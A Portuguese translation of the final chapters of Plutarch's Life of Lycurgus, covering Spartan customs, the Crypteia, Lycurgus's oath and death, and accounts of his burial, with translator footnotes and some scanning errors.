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LXI.Ademais, quanto às sepulturas, Licurgo também as ordenou com muita
sabedoria, pois em primeiro lugar, para evitar toda superstição (32), quis que o mortos se enterrassem dentro da cidade e
que as sepulturas fossem ao redor das igrejas, para acostumar os jovens a tê-los sempre diante dos olhos, sem medo de ver
um defunto, como se fosse coisa que só de tocar-se, ou passar através das
sepulturas, tornasse o homem poluído; depois, proibiu que logo pudesse ser
enterrado com eles, e quis somente que se envolvesse o corpo com um pano
vermelho, com folhas de oliveira. Não era permitido escrever sobre a sepultura
o nome do defunto, salvo de homem morto na guerra ou de mulher religiosa e
sagrada. Ademais, o tempo prefixado para usar o luto era muito curto, pois não
durava mais de onze dias, e era preciso que no duodécimo sacrificassem a
Prosérpina e abandonassem o luto.

(32)    No grego: não impediu que. C.

LVII. Em suma, nada deixou ocioso, pois entre todas as
coisas que os homens não podem
dispensar introduziu sempre algum aguilhão incitando os homens à virtude e
fazendo-os odiar o vício; e encheu a cidade de belos e bons ensinamentos e
exemplos, de forma que o homem assim educado, encontrando-os sempre diante dos
olhos em qualquer parte onde se achasse, vinha por força moldar-se e formar no
padrão da virtude. E por essa causa não permitiu a quem quisesse, sem licença,
sair fora do país e ir aqui e acolá, pelo mundo, de medo que aqueles que assim
saíssem a seu bel-prazer trouxessem então consigo costumes estrangeiros e
exemplos de vida corrompida e desordenada: o que pouco a pouco teria podido acarretar alteração e mudança da polícia. Além disso, expulsou de Esparta os
estrangeiros, salvo os que ali tinham necessariamente o que fazer e que ali
haviam chegado para alguma coisa boa e aproveitável: não que tivesse receio de
que ali aprendessem algo que lhes servisse para fazê-los amar a virtude, como o
disse Tucídides, e que eles ficassem com vontade de seguir a forma de sua
polícia, mas sim por temer que eles ensinassem aos seus cidadãos alguma coisa
má e viciosa, pois é forçoso que com pessoas estrangeiras entrem numa cidade
propósitos e desígnios novos: os novos avisos engendram novas afeições e
vontades discordantes e muito frequentemente repugnantes às leis e à forma de
governo já estabelecida, nem mais nem menos do que a uma harmonia de música bem
acordada; portanto, estimou ser coisa necessária manter a cidade pura e nítida
de costumes e modos de agir estrangeiros, nem mais nem menos que de pessoas
infectas de moléstia contagiosa.

LVIII. Ora, em tudo o que dissemos
inteiramente até aqui, não há
marca nem aparência alguma de iniquidade nem de injustiça, de que censuram
alguns as ordenanças de Licurgo, dizendo que são bem ordenadas para tornar os
homens belicosos e valentes, não justos e direitos; mas, quanto àquela a que
chamavam Criptia, como quem dissesse secreta, se é ordenança de Licurgo,
segundo admite. Aristóteles, ela poderia haver induzido Platão a formar sobre
ele a mesma opinião que de sua coisa pública. Essa ordenança era tal: os governadores
que tivessem a superintendência dos jovens, a certos intervalos de tempo
escolhiam os que lhes parecessem mais avisados e os enviavam aos campos, um
aqui, outro acolá, levando então consigo adagas e somente o necessário para
viverem. Esses jovens, esparsos no meio dos campos, escondiam-se durante o dia
em alguns lugares cobertos onde repousavam, depois à noite iam espiar os
caminhos e aí matavam o primeiro Hilcta que encontrassem; e, às vezes, nos
campos, em pleno dia, iam matar os mais fortes e mais robustos, como conta
Tucídides em sua história da guerra Peloponésica, onde diz que alguns Hilotas,
em bom número, foram por édito público dos Espartanos coroados como libertos e
levados por todos os templos âos deuses, em virtude dos bons serviços
que valorosamente haviam prestado à coisa pública; e em pouco tempo não se
soube o que se tornaram, ainda que fossem mais de dois mil, de sorte que jamais
ninguém ouviu dizer, nem então nem depois, como tinham morrido. E Aristóteles,
além de todos os outros, diz que os Éforos, logo que se instalavam em seus
ofícios, declaravam guerra aos Hilotas, a fim de que fossem permitido matá-los.
Também é certo que, em outras coisas ainda, os tratavam muito duramente, pois
às vezes os faziam beber à força vinho sem água, além da medida, até os
embriagarem; depois os levavam inteiramente ébrios às salas dos convívios, para as crianças verem a vilania de uma pessoa embriagada; e os faziam cantar
canções e praticar danças indignas de pessoas honestas, e cheias de derrisão e
zombaria, proibindo-os expressamente de cantarem as que fossem honestas. De
sorte que se diz (33) que, na viagem que fizeram os Tebanos dentro da Lacônia,
os Hilotas feitos prisioneiros, quando se lhes ordenava que cantassem versos de
Terpandro, ou de Álcman, ou de Espèndon da Lacônia, não o faziam, dizendo que
não ousariam cantar as canções de seus amos. De tal maneira, aquele que
primeiro se lembrou de dizer que no país da Lacedemônia quem é livre é mais
livre e quem é servo é mais servo do que em nenhuma outra parte do mundo,
conheceu muito bem a diferença que há entre a liberdade e a servidão de lá e de
alhures.

LIX. Mas, quanto a mim, penso que os Lacedemônios começaram a usar dessas grandes rudezas
e crueldades muito tempo após a morte de Licurgo e mesmo depois do .grande
tremor de tetra que sobreveio em Esparta (34), época na qual os Hilotas se
sublevaram contra eles com os Messenianos e causaram muitos males a todos o
país, pondo a cidade no maior perigo que jamais tivera; pois eu não poderia pensar
que Licurgo jamais inventasse nem instituísse coisa tão
infeliz nem tão perversa como aquela ordenaça: conjecturando que sua natureza
era doce e bonacheirona, pela clemência e equidade que se percebia em todos os
outros atos seus, tendo sido mesmo testemunhada por expresso oráculo dos
deuses.

(33)            Que na invasão.
(34)            No
ano 489 antes de Jesus Cristo. Aí pereceram mais de vinte mil homens, conforme relato de Diodoro da Sicília, XI, 63,

LX. Entrementes, quando viu que, por uso, os
principais pontos de seu governo já
tinham tomado pé, e que sua forma de polícia era bastante forte para manter-se
e conservar-se por si mesma, assim como diz Platão, que Deus se regozijou
grandemente quando terminou o mundo, vendo-o girar e fazer o seu primeiro
movimento: também ele, com singular prazer e contentamento de espírito, ao ver
ordenanças tão belas e tão grandes postas em uso, e tão bem encaminhadas por
experiência real, procurou ainda torná-las imortais, tanto quanto fosse
possível por previdência humana, de sorte que no futuro jamais pudessem ser
mudadas nem alteradas. Para consegui-lo, fez reunir o povo e, em plena
assembleia, demonstrou-lhe que a polícia e o estado da coisa pública lhe
pareciam muito bem estabelecidos para uma vida feliz e virtuosa, mas que havia,
não obstante, um ponto de maior consequência que tudo o mais, o qual não lhes
podia ainda declarar, até que o tivesse comunicado e sobre ele pedido conselho
ao oráculo de Apolo; e, portanto, era preciso que observassem suas leis e
ordenanças inviolàvelmente, sem nada mudar, remover ou alterar, até que ele estivesse
de volta da cidade de Delfos; e, quando regressasse,
fariam então o que o deus lhe
houvesse aconselhado. Eles prometeram todos fazê-lo assim e lhe pediram se
apressasse em ir até lá; mas, antes de partir, fez primeiro os reis e
senadores, depois consequentemente todo o povo, jurarem que respeitariam suas
ordenanças e estatutos, sem nada mudarem nem removerem de nenhum modo, até que
estivesse de volta; feito isso, seguiu para a cidade de Delfos, onde, logo que
chegou, sacrificou ao templo de Apolo e perguntou se as leis que estabelecera
eram boas para bem e felizmente viver: respondeu-lhe Apolo que suas leis eram
verdadeiramente muito boas e que sua cidade, conservando a forma de governo que
ele ordenara, se tornaria muito gloriosa e renomeada.

LXI. Licurgo mandou escrever esse oráculo, enviando-o a Esparta; e, depois de
haver ainda de novo sacrificado a Apolo, despediu-se dos amigos e do filho e
resolveu morrer, a fim de que seus concidadãos não pudessem jamais ser
absolvidos do juramento feito. Quando tomou essa resolução, tinha ele chegado à
idade em que o homem está ainda bastante vigoroso para viver e também maduro
para morrer quando o queria; porque, sentindo-se feliz’ de ter chegado acima de
sua empresa, deixou-se morrer por falta de alimento, abstendo-se voluntariamente
de comer, porque estimava ser conveniente que a própria morte dos grandes
personagens trouxesse algum fruto à coisa pública e que o fim de sua vida não
fosse nem mais ocioso nem inútil do que tudo o mais, antes fosse um de seus
atos mais meritórios e de suas mais virtuosas façanhas. Pensou, assim, que sua
morte viria a ser o cúmulo e o coroamento de sua felicidade, após haver feito e
ordenado tantas e tão belas, tão boas e tão grandes coisas para honra e bem do
país, e seria como um selo de salvaguarda que conservasse em essência as boas
ordenanças que encaminhara, visto como os cidadãos tinham todos jurado que as
manteriam invioláveis até que ele estivesse de volta. Não se iludiu em tal
esperança, pois sua cidade foi a primeira do mundo em glória e bondade de
governo, durante o espaço de quinhentos anos, enquanto observou suas leis, sem
que nenhum dos reis sucessores mudasse ou alterasse coisa nenhuma, até ao rei Agis,
filho de Arquidamo; pois a criação dos éforos não afrouxou, mas enrijeceu, as
leis de Licurgo, ainda que à primeira vista eles parecessem haver sido
instituídos para manter e defender a liberdade do povo: pois (35) fortificaram
também a autoridade dos reis e do Senado.

LXII. Mas, durante o reino de Agis, começaram primeiramente o ouro e a prata a correr
dentro da cidade de Esparta, e com o dinheiro a avareza e a cobiça de possuir,
por intermédio de Lisandro, o qual, embora inexpugnável e incorruptível por
dinheiro, trouxe contudo ao país a riqueza e a avareza, enchendo-o de delícias, levando-lhe a guerra à força de curo e prata, e
ccntravindo diretamente às leis e ordenanças de Licurgo, durante cuja vigência
e duração o governo de Esparta não parecia ser polícia de coisa pública, mas
antes regras de alguma devota e santa religião. E, do mesmo modo que os poetas
fingem que Hércules, com sua maça e pele de leão, ia por todo o mundo punindo os ladrões inumanos e cruéis tiranos, também a cidade
de Esparta, com (36) um pequeno bilhete de pergaminho e uma pobre capa,
comandava e dava lei a todo o resto da Grécia, por grado, consentimento e
vontade desta, afastando os tiranos que usurpavam dominação violenta sobre os
cidadãos nas outras cidades, decidindo querelas e apaziguando sedições,muitas
vezes sem fazer marchar um só homem de guerra, antes somente enviando um
simples embaixador, a cujo comando os outros povos obedeciam incontinenti, nem
mais nem menos do que as abelhas que se enfileiram e reúnem em torno de seu
rei, logo que o percebem: tão grande era a reverência que se prestava ao bom
governo e à Justiça daquela cidade.

(35)    No grego: pois deu mais
força à
aristocracia. C.

LXIII.
Portanto, não me posso admirar
daqueles que vão dizendo que a cidade de Lacedemônia Dabia obedecer, e não
comandar; e louvam uma observação do rei Teopompo, o qual respondeu a ninguém
que dizia que Esparta se mantinha porque ali os reis sabiam comandar: «Mas antes, disse ele, porque os habitantes sabem
obedecer.» Pois os homens ordinariamente desdenham de obedecer aos que não
sabem comandar: de maneira que a fiel obediência dos súbditos depende da
suficiência no bem comandar por parte do príncipe, pois quem bem conduz faz com
que seja bem seguido. E, do mesmo modo que a perfeição da arte de um bom
escudeiro é tornar o cavalo obediente e saber encaminhá-lo à razão, também o
principal efeito da ciência de um rei é bem ensinar a obediência aos súbditos.

(36)    No grego: com uma eítala- C.

LXIV. Mas os Lacedemônios não faziam somente que os outros povos lhes
obedecessem de bom grado, antes desejavam ser governados, regidos e comandados
por eles, a fim de que não lhes pedissem navios nem dinheiro, e, assim, não
lhes enviavam muitos homens de guerra para os constranger, mas somente um
cidadão de Esparta para governá-los, ao qual os outros povos se submetiam,
servindo-se dele em caso de necessidade, temendo-o e reverenciando-o: como os
Sicilianos serviram-se de Gilipo, os Calcidianos de Brásidas e todos os Gregos
habitantes na Ásia de Lisandro, Calicrátidas e Agesilau, nomeando-os
reformadores e corretores dos príncipes, povos e reis, aos quais eram enviados,
e tendo sempre os olhos sobre toda a cidade de Esparta, como sobre um perfeito
exemplo de vida inteiramente reformada e de polícia bem ordenada. Ao qual
propósito se relaciona muito bem a palavra jocosa proferida um dia
por Estratônico, ao dizer, por
pilhéria, «que ele mandava os Atenienses fazerem mistérios, procissões e outras
cerimónias referentes ao serviço dos deuses; que os Elianos fizessem jogos de
prendas, como coisas que sabiam fazer; e (37), se aí fizessem falta, fossem os Lacedemônios bem chicoteados». Isso foi dito
por brincadeira, em tom jocoso; mas Antistenes, filósofo Socrático, vendo os
Tebanos tornarem-se soberanos e gloriosos, após terem vencido uma vez os
Lacedemônios na jornada de Luctras, disse: «Parece-me que esses Tebanos aqui
não fazem nem mais nem menos do que as crianças de escola, que se glorificam
quando às vezes corrigem o mestre».

LXV. Todavia, isso não era o fim nem o objetivo ao qual tendia
Licurgo, deixar sua cidade comandando a várias; antes, estimando que a
felicidade de toda uma cidade, como a de um homem particular, consiste
principalmente no exercício da virtude e na união e concórdia dos habitantes,
compôs e estabeleceu a forma de seu governo para que os cidadãos se tornassem
francos de coração, contentes de si mesmos, temperados em todos os seus feitos
para poderem manter-se e conservar-se no todo muito longamente. Essa mesma
intenção tiveram também Platão, Diógenes e Zenão, ao escreverem os livros nos
quais discorreram sobre o governo das coisas
públicas, e semelhantemente todos
os outros grandes e sábios personagens que se puseram a escrever acerca do
mesmo assunto; mas após si não deixaram senão escritos e palavras somente; e,
ao contrário Licurgo não deixou livros nem papéis, mas produziu e realizou de
fato uma forma de governo que nenhum antes dele jamais inventara e que depois
nenhum outro pôde imitar; e fez ver àqueles que cuidam que a definição do
perfeitamente sábio seja coisa imaginada no ar somente, e que não possa realmente
existir no mundo, toda uma cidade vivendo e se governando filosofalmente, isto
é, segundo os preceitos e as regras de perfeita sapiência; dessa maneira, ele
em bom direito superou a glória de todos os que em todos os tempos se
entregaram à tarefa de descrever ou de estabelecer o governo de algum estado
político.

(37)   E, se
cometessem algumas faltas, fossem os Lacedemônios bem chicoteados. C.

LXVI. E, por essa causa, diz Aristóteles que, depois de sua morte, fizeram-lhe
na Lacedemônia menos honra do que ele merecera, ainda que lhe tenham feito
tanto quanto possível, pois lhe edificaram um templo e lhe instituíram um
sacrifício solene todos os anos, como a um deus. Além disso, diz-se que as
cinzas de seu corpo, tendo sido transportadas para Esparta, um raio caiu sobre
a sua sepultura: o que não se viu acontecer a outros personagens de nome, após
o falecimento, senão ao poeta Eurípides, o qual, tendo morrido na Macedónia,
foi enterrado depois na cidade de Aretusa, o que é um grande argumento para os
amadores da memória desse
poeta, para responderem àqueles
que o caluniam que somente a ele aconteceu, depois da morte, o que antes
sucedera somente com um homem tão santo e tão amado dos deuses.

LXVII. Querem alguns dizer que Licurgo morreu
na cidade de Cirra, mas Apolótemis
diz que foi em Élida, para onde foi levado; e Timeu e Aristóxeno escrevem que
ele acabou seus dias em Cândia; e diz ainda mais Aristóxeno que os Candiotas
mostraram
sua sepultura na região que se chama Pérgamo, ao longo do grande
caminho. Deixou ele um filho único chamado Antíoro, o qual morreu sem filhos, de sorte que sua raça terminou nele. Mas seus familiares, parentes e amigos
fizeram uma sociedade e confraria em sua memória, a qual durou muito tempo, e
aos dias em que se reuniam deram o nome de Lícúrgidas. Há outro, Aristócrates,
filho de Hiparco, que diz ter ele morrido em Cândia, tendo-lhe os amigos
queimado o corpo e depois espalhado as cinzas no mar, conforme ele lhes
recomendara e pedira, porque temia que, se porventura as relíquias do seu corpo
fossem um dia levadas para Esparta, os habitantes não quisessem dizer que ele
voltara e, dessa forma, dizendo-se absolvidos do juramento que lhe tinham
feito, empreendessem remover o governo por ele instituído. Eis o que há sobre a
vida de Licurgo.

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